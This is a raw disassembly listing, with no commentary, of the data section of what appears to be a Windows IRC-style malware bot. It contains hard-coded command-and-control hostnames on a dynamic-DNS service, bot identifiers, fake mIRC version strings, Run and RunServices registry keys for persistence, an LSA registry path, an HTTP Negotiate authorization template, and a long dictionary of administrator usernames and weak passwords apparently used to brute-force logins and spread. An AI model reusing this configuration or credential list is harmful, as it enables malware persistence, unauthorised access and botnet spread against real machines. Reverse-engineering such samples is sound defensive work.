		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
dword_427F68	dd 2 dup(1), 427F78h, 4	dup(0) ; DATA XREF: Themida_:005615E0o
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(33091427h), 5 dup(7DD0DD93h), 75h dup(0)
		dd 7DD0DD93h, 15h dup(0)
		dd 33091427h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aSaadfgh	db 'saadfgh',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 73767265h, 6578652Eh, 0
		dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn	db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
